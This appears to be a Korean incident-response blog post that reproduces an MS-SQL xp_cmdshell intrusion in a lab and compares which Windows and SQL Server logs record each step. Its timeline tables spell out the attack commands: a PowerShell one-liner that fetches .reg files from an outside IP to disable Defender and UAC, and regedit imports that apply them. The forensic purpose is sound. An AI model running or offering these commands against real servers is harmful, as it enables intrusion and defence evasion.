> ## Content Index
> Fetch the complete content index at: https://blog.plainbit.co.kr/llms.txt
> Use this file to discover other available public pages before exploring further.

# Deep dive into MS-SQL IR Case : Stored procedure analysis - xp_cmdshell
- URL: https://blog.plainbit.co.kr/analyzing-ms-sql-xp_cmdshell/
- Published: 2023-08-16T01:59:42.000Z
- Updated: 2024-04-12T02:00:46.000Z
- Author: PLAINBIT
- Tags: Case Study, DFIR, #seunghyeong-lee

최근 몇 년 동안 사이버 공격은 기업과 개인에게 심각한 위협으로 떠올랐다. 특히, MS-SQL 데이터베이스는 공격자들의 주요 목표가 되었다. 이 글에서는 MS-SQL의 시스템 저장 프로시저를 활용한 침해사고에서 발견된 아티팩트를 분석해, 공격자의 행동을 이해하는 것에 중점을 둔다. 공격자들은 이런 기능을 활용해 파일을 다운로드, 실행, 변경, 삭제 등 다양한 행위를 수행할 수 있다. 따라서, 이러한 공격자의 행동에 대응하기 위해 시스템 내의 로그와 아티팩트를 분석하는 것은 중요하다.

이 분석에서는 로그와 아티팩트 분석으로 공격자의 행동과 관련된 정보를 찾아내는 방법에 대해 다룬다. 이를 통해 보안 관리자들은 보안을 강화하며, 만약 침해사고가 발생하면 즉시 정확한 분석을 수행할 수 있는 인사이트를 얻게 된다. 이 글이 보안 관리자들에게 유용한 정보를 제공하고, 침해사고 대응에 도움이 되길 바란다.

공격 동향 및 방식에 대한 글은 아래를 참고하길 바란다.

[MS-SQL 침해사고 심층 분석 : 동향 및 공격 방식데이터베이스 관리 시스템에서 중추적인 역할을 하는 MS-SQL 서버는 막대한 정보를 다루고 있다. 그러나 이러한 중요한 시스템에도 보안 취약점이 존재하며 공격 위협에 노출되고 있다. 특히, MS-SQL은 다양한 확장 기능을 제공한다. 이때, 공격에 주로 악용되는 xp\_cmdshell과 CLR 저장 프로시저 확장 기능은 보안 문제를 야기할 수 있다. 이에 따라, 공격자들은 이러한 방식을![](https://blog.plainbit.co.kr/content/images/size/w256h256/2023/04/PLB-LOGO_remove.png)PLAINBIT이승형![](https://blog.plainbit.co.kr/content/images/size/w150/2023/04/_sample-efb577799564c249a737e5f2b8c85c4c.jpg)](https://blog.plainbit.co.kr/analysis-of-ms-sql-attacks/)

---

# **1\. 테스트 환경 구축**

## **1.1\. Windows Server 2008 R2**

- OS : Windows Server 2008 R2 Standard Build 7600
- SQL : Microsoft SQL Server Express 10 (x64)
- .Net Framework 4.5.2

## **1.2\. Windows Server 2016**

- OS : Windows Server 2016 Standard Evaluation Build 14393
- SQL : Microsoft SQL Server Express 14 (x64)
- .Net Framework 4.6

## **1.3\. 공통 사항**

두 환경 모두 원활한 테스트를 위해 아래 보안 설정은 해제한다.

- Anti-Vrius Software (Windows Defender 포함)
- Windows Firewall

---

# **2\. xp\_cmdshell 상세 분석**

## **2.1\. 타임라인**

### **2.1.1\. Windows Server 2008**

| 시간(UTC+9)           | 행위                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 2023-04-27 15:38:02 | 무차별 대입 공격 및 DB 접속                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| 2023-04-27 15:39:11 | xp\_cmdshell 활성화                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| 2023-04-27 15:40:30 | 명령 실행 - CMDEXEC master..xp\_cmdshell 'whoami'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 2023-04-27 15:41:04 | 명령 실행 - 파일 다운로드EXEC master..xp\_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''[http://35.203.61.153/test\_asdf1234asdf/disable-defender.reg](http://35.203.61.153/test%5Fasdf1234asdf/disable-defender.reg?ref=blog.plainbit.co.kr)'',''C:\\Windows\\Temp\\disable-defender.reg''); $client.DownloadFile(''[http://35.203.61.153/test\_asdf1234asdf/DisableUAC-Win7.reg](http://35.203.61.153/test%5Fasdf1234asdf/DisableUAC-Win7.reg?ref=blog.plainbit.co.kr)'',''C:\\Windows\\Temp\\disableUAC.reg'')}"' |
| 2023-04-27 15:42:04 | 명령 실행 - 파일 실행EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disable-defender.reg"'EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disableUAC.reg"’                                                                                                                                                                                                                                                                                                                                                                                                                                 |

### **2.1.2\. Windows Server 2016**

| 시간(UTC+9)           | 행위                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 2023-04-27 14:34:42 | 무차별 대입 공격 및 DB 접속                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| 2023-04-27 14:35:38 | xp\_cmdshell 활성화                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| 2023-04-27 14:36:30 | 명령 실행 - CMDEXEC master..xp\_cmdshell 'whoami'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 2023-04-27 14:37:02 | 명령 실행 - 파일 다운로드EXEC master..xp\_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''[http://35.203.61.153/test\_asdf1234asdf/disable-defender.reg](http://35.203.61.153/test%5Fasdf1234asdf/disable-defender.reg?ref=blog.plainbit.co.kr)'',''C:\\Windows\\Temp\\disable-defender.reg''); $client.DownloadFile(''[http://35.203.61.153/test\_asdf1234asdf/DisableUAC-Win7.reg](http://35.203.61.153/test%5Fasdf1234asdf/DisableUAC-Win7.reg?ref=blog.plainbit.co.kr)'',''C:\\Windows\\Temp\\disableUAC.reg'')}"' |
| 2023-04-27 14:38:04 | 명령 실행 - 파일 실행EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disable-defender.reg"' EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disableUAC.reg"’                                                                                                                                                                                                                                                                                                                                                                                                                                |

## **2.2\. 무차별 대입 공격 및 DB 접속 비교**

공격자들은 스캐닝으로 공격 대상을 식별하고 무차별 대입 공격 또는 사전 공격으로 침투를 시도한다. 또한, MS-SQL은 기본적으로 **실패한 로그인만을 기록**하도록 설정되어 있다. 따라서, \[그림 1\]과같이 별도의 로그인 감사 설정을 하지 않는다면 성공한 로그인에 대한 기록은 생성되지 않는다. 이때, 아래 경로에 대량의 로그가 생성된다. 

| 로그 파일            | 로그 유형                          | 로그 파일 경로                            |
| ---------------- | ------------------------------ | ----------------------------------- |
| Application.evtx | Windows Event Log              | C:\\Windows\\System32\\winevt\\Logs |
| ERRORLOG         | SQL Server Error Log           | \[MS-SQL Install path\]\\MSSQL\\Log |
| log\_\[N\].trc   | SQL Server Trace Log (Default) | \[MS-SQL Install path\]\\MSSQL\\Log |

![](https://blog.plainbit.co.kr/content/images/2023/07/image-50.png)

\[그림 1\] 로그인 감사 설정 - (SSMS(SQL Server Management Studio) - 서버 속성 - 보안)

다음은 두 운영체제별 로그인 실패 및 성공 이력에 대한 로그인 사항이다. 

### 2.2.1\. Windows Server 2008

![](https://blog.plainbit.co.kr/content/images/2023/07/image-51.png)

\[그림 2\] 로그인 실패 이력 (Application.evtx (EventID: 18456))

```sql
2023-04-27 15:38:02.58 로그온         오류: 18456, 심각도: 14, 상태: 5.
2023-04-27 15:38:02.58 로그온         Login failed for user 'admin'. 원인: 제공된 이름과 일치하는 로그인을 찾을 수 없습니다. [클라이언트: 192.168.199.1]
2023-04-27 15:38:02.60 로그온         오류: 18456, 심각도: 14, 상태: 5.
                                
                               --- 이하 생략 ---
```

로그인 실패 이력 (SQL Server Error Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-52.png)

\[그림 3\] 로그인 실패 이력 (SQL Server Trace Log (Default))

![](https://blog.plainbit.co.kr/content/images/2023/07/image-53.png)

\[그림 4\] 로그인 성공 이력 (Application.evtx (EventID: 18454))

```sql
2023-04-27 15:39:08.20 로그온         Login succeeded for user 'sa'. Connection made using SQL Server authentication. [클라이언트: 192.168.199.1]
```

로그인 성공 이력 (SQL Server Error Log)

### **2.2.2\. Windows Server 2016**

![](https://blog.plainbit.co.kr/content/images/2023/07/image-55.png)

\[그림 5\] 로그인 실패 이력 (Application.evtx (EventID: 18456))

```sql
2023-04-27 14:34:42.22 Logon       Error: 18456, Severity: 14, State: 5.
2023-04-27 14:34:42.22 Logon       Login failed for user 'admin'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.199.1]
2023-04-27 14:34:42.23 Logon       Error: 18456, Severity: 14, State: 5.
2023-04-27 14:34:42.23 Logon       Login failed for user 'admin'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.199.1]
2023-04-27 14:34:42.23 Logon       Error: 18456, Severity: 14, State: 5.
                                
                               --- 이하 생략 ---
```

로그인 실패 이력 (SQL Server Error Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-56.png)

\[그림 6\] 로그인 실패 이력 (SQL Server Trace Log (Default))

![](https://blog.plainbit.co.kr/content/images/2023/07/image-57.png)

\[그림 7\] 로그인 성공 이력 (Application.evtx (EventID: 18454))

```sql
2023-04-27 14:34:48.99 Logon       Login succeeded for user 'sa'. Connection made using SQL Server authentication. [CLIENT: 192.168.199.1]
```

로그인 성공 이력 (SQL Server Error Log)

### **2.2.3\. 결과**

Windows Server 2008과 Windows Server 2016에서 SQL Server 로그인 이력을 추적하는 방법은 크게 다르지 않다. 테스트 결과를 토대로 정리하면 다음과 같다.

| 운영체제                | 로그 유형                          | EventID | 로그인 유형 | 로깅 여부 |
| ------------------- | ------------------------------ | ------- | ------ | ----- |
| Windows Server 2008 | Windows Event Log              | 18454   | 로그인 성공 | O     |
| 18456               | 로그인 실패                         |         |        |       |
| Windows Server 2016 | 18454                          | 로그인 성공  |        |       |
| 18456               | 로그인 실패                         |         |        |       |
| Windows Server 2008 | SQL Server Error Log           | \-      | 로그인 성공 | O     |
| 18456               | 로그인 실패                         |         |        |       |
| Windows Server 2016 | \-                             | 로그인 성공  |        |       |
| 18456               | 로그인 실패                         |         |        |       |
| Windows Server 2008 | SQL Server Trace Log (Default) | \-      | 로그인 성공 | X     |
| 로그인 실패              | O                              |         |        |       |
| Windows Server 2016 | 로그인 성공                         | X       |        |       |
| 로그인 실패              | O                              |         |        |       |

## **2.3\. xp\_cmdshell 활성 로그 비교**

xp\_cmdshell은 기본적으로 비활성화되어 있으며, 이와 관련된 로그는 아래의 파일들에 기록된다.

### **2.3.1\. Windows Server 2008**

![](https://blog.plainbit.co.kr/content/images/2023/07/image-58.png)

\[그림 8\] xp\_cmdshell 활성화 이력 (Application.evtx (EventID: 15457))

```sql
2023-04-27 15:39:11.82 spid52      Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-04-27 15:39:11.83 spid52      Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```

xp\_cmdshell 활성화 이력 (SQL Server Error Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-59.png)

\[그림 9\] xp\_cmdshell 활성화 이력 (SQL Server Trace Log (Default))

### **2.3.2\. Windows Server 2016**

![](https://blog.plainbit.co.kr/content/images/2023/07/image-60.png)

\[그림 10\] xp\_cmdshell 활성화 이력 (Application.evtx (EventID: 15457))

```sql
2023-04-27 14:35:21.34 spid63      Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-04-27 14:35:38.13 spid63      Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```

xp\_cmdshell 활성화 이력 (SQL Server Error Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-61.png)

\[그림 11\] xp\_cmdshell 활성화 이력 (SQL Server Trace Log (Default))

### **2.3.3\. 결과**

Windows Server 2008과 Windows Server 2016에서 xp\_cmdshell 활성화 추적 결과는 다음과 같다.

| 운영체제                | 로그 유형                          | EventID | 로깅 여부 |
| ------------------- | ------------------------------ | ------- | ----- |
| Windows Server 2008 | Windows Event Log              | 15457   | O     |
| Windows Server 2016 |                                |         |       |
| Windows Server 2008 | SQL Server Error Log           | \-      | O     |
| Windows Server 2016 |                                |         |       |
| Windows Server 2008 | SQL Server Trace Log (Default) | \-      | O     |
| Windows Server 2016 |                                |         |       |

## **2.4\. xp\_cmdshell 명령 실행 비교**

Windows Server 2008과 Windows Server 2016에서 xp\_cmdshell을 이용한 명령 실행 및 PowerShell을 이용한 페이로드 다운로드를 추적하고 분석하는 방법을 살펴본다. 이 과정에서 운영 체제 버전에 따른 로그 기록의 차이점, 그리고 이러한 차이가 보안 분석에 어떠한 영향을 미치는지를 알아볼 것이다.

### **2.4.1\. 명령 실행 - CMD**

두 운영체제에서 `whoami` 명령이 실행된 시점은 아래와 같다.

| 운영체제                | 시간(UTC+9)           | 실행 명령                              |
| ------------------- | ------------------- | ---------------------------------- |
| Windows Server 2008 | 2023-04-27 15:40:30 | EXEC master..xp\_cmdshell 'whoami' |
| Windows Server 2016 | 2023-04-27 14:36:30 | EXEC master..xp\_cmdshell 'whoami' |

![](https://blog.plainbit.co.kr/content/images/2023/07/image-62.png)

\[그림 12\] xp\_cmdshell을 통한 whoami 명령 실행 시점 (Windows Server 2008 - Windows Event Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-63.png)

\[그림 13\] xp\_cmdshell을 통한 whoami 명령 실행 시점 (Windows Server 2016 - Windows Event Log)

CMD에서의 명령 실행 이력은 Windows Event Log, SQL Server Error Log, SQL Server Trace Log (Default)모두에서 확인할 수 없었다.

### **2.4.2\. 명령 실행 - 파일 다운로드(Powershell)**

두 운영체제에서 `Powershell` 명령이 실행된 시점은 아래와 같다. 해당 명령은 특정 경로에서 파일을 다운로드 후 저장하는 역할을 수행한다.

| 운영체제                | 시간(UTC+9)           | 실행 명령                                                                                                                                                                                                                                                                                                                                                                                                   |
| ------------------- | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Windows Server 2008 | 2023-04-27 15:41:04 | EXEC master..xp\_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test\_asdf1234asdf/disable-defender.reg'',''C:\\Windows\\Temp\\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test\_asdf1234asdf/DisableUAC-Win7.reg'',''C:\\Windows\\Temp\\disableUAC.reg'')}"' |
| Windows Server 2016 | 2023-04-27 14:37:02 |                                                                                                                                                                                                                                                                                                                                                                                                         |

![](https://blog.plainbit.co.kr/content/images/2023/07/image-64.png)

\[그림 14\] xp\_cmdshell을 통한 Powershell 명령 실행 시점 (Windows Server 2008 - Windows Event Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-66.png)

\[그림 15\] Windows Server 2008 PowerShell 이벤트 로그 (Windows PowerShell.evtx (EventID: 400))

![](https://blog.plainbit.co.kr/content/images/2023/07/image-67.png)

\[그림 16\] xp\_cmdshell을 통한 Powershell 명령 실행 시점 (Windows Server 2016 - Windows Event Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-69.png)

\[그림 17\] PowerShell 이벤트 상세 정보 (Windows Server 2016 - Windows Event Log)

PowerShell 명령 실행 이력은 Windows Event Log에서만 확인이 가능 했으나, Windows Server 2008은 세부 명령줄을 확인할 수 없었다.

### **2.4.3\. 명령 실행 - 파일 실행**

마지막으로, 두 운영체제에서 다운로드된 파일이 실행된 시점은 아래와 같다. 해당 명령은 `regedit`를 활용해 .reg 파일을 실행한다.

| 운영체제                | 시간(UTC+9)           | 실행 명                                                                                                                                                       |
| ------------------- | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Windows Server 2008 | 2023-04-27 15:42:04 | EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disable-defender.reg"'EXEC master..xp\_cmdshell 'regedit /s "C:\\Windows\\Temp\\disableUAC.reg"’ |
| Windows Server 2016 | 2023-04-27 14:38:04 |                                                                                                                                                            |

![](https://blog.plainbit.co.kr/content/images/2023/07/image-70.png)

\[그림 18\] xp\_cmdshell을 통한 명령 실행 시점 (Windows Server 2008 - Windows Event Log)

![](https://blog.plainbit.co.kr/content/images/2023/07/image-71.png)

\[그림 19\] xp\_cmdshell을 통한 명령 실행 시점 (Windows Server 2016 - Windows Event Log)

파일 실행 이력도 Windows Event Log, SQL Server Error Log, SQL Server Trace Log (Default) 모두에서 확인할 수 없었다.

### 2.4.4\. 결과

분석 결과, Windows Server 2008 및 2016에서 로깅 되지 않는 부분이 상당히 많았다. 로그인 이력의 경우, 로그인 감사 옵션을 성공/실패로 설정했음에도 불구하고 기본 추적 로그에서 성공 이력은 확인할 수 없었다.

그러나, Powershell은 두 운영체제 모두 이벤트 로그로 실행 이력은 확인할 수 있었지만, 세부 명령줄 로깅에 활용되는 PowerShell Script Block Logging은 PowerShell 5.0부터 지원되므로, Windows Server 2008에서는 명령줄을 따로 확인할 수는 없었다.

또한, 서버군의 경우 기본적으로 Prefetch 기능이 꺼져 있어 Prefetch로 실행 이력을 확인할 수 없었다. 다만, Windows Server 2008의 경우 RecentFileCache가 있어 특정 파일의 실행 이력은 확인할 수 있었다. 그러나, RecentFileCache는 하루 동안만 저장되고 초기화되므로 일반적인 침해사고 분석 상황에서는 확인이 어려울 수 있다.

| 행위                  | Windows Event Log   | SQL Server Error Log | SQL Server Trace Log (Default) |                     |                     |   |
| ------------------- | ------------------- | -------------------- | ------------------------------ | ------------------- | ------------------- | - |
| Windows Server 2008 | Windows Server 2016 | Windows Server 2008  | Windows Server 2016            | Windows Server 2008 | Windows Server 2016 |   |
| 명령 실행(CMD)          | X                   | X                    | X                              | X                   | X                   | X |
| 명령 실행(PowerShell)   | △                   | O                    | X                              | X                   | X                   | X |
| 명령 실행(파일 실행)        | X                   | X                    | X                              | X                   | X                   | X |

# 3\. 결론

두 운영체제 버전 간에 나타난 주된 차이점은 운영체제 자체의 보안 및 로그 관리 기능에 있다. Windows Server 2016은 Windows Server 2008보다 보안 강화 기능이 향상되어 있고, 로그 관리 도구도 더 발전하고 사용하기 편리해졌다. 그러나, 이런 차이점이 SQL Server 로그 추적 방법에는 직접적인 영향을 주지 않는다. 이것은 SQL Server를 모니터링하고 분석하는 방법이 두 운영체제 버전에 독립적이라는 것을 의미한다.

이 글을 통해, xp\_cmdshell을 통해 발생하는 공격을 이해하고, 로깅의 한계에 따른 개선 방안을 수립하여 보안 강화와 침해사고 대응에 도움이 되길 바란다.

| 행위                  | Windows Event Log   | SQL Server Error Log | SQL Server Trace Log (Default) |                     |                     |   |
| ------------------- | ------------------- | -------------------- | ------------------------------ | ------------------- | ------------------- | - |
| Windows Server 2008 | Windows Server 2016 | Windows Server 2008  | Windows Server 2016            | Windows Server 2008 | Windows Server 2016 |   |
| 로그인 이력              | O                   | O                    | O                              | O                   | △                   | △ |
| 명령 실행(CMD)          | X                   | X                    | X                              | X                   | X                   | X |
| 명령 실행(PowerShell)   | △                   | O                    | X                              | X                   | X                   | X |
| 명령 실행(파일 실행)        | X                   | X                    | X                              | X                   | X                   | X |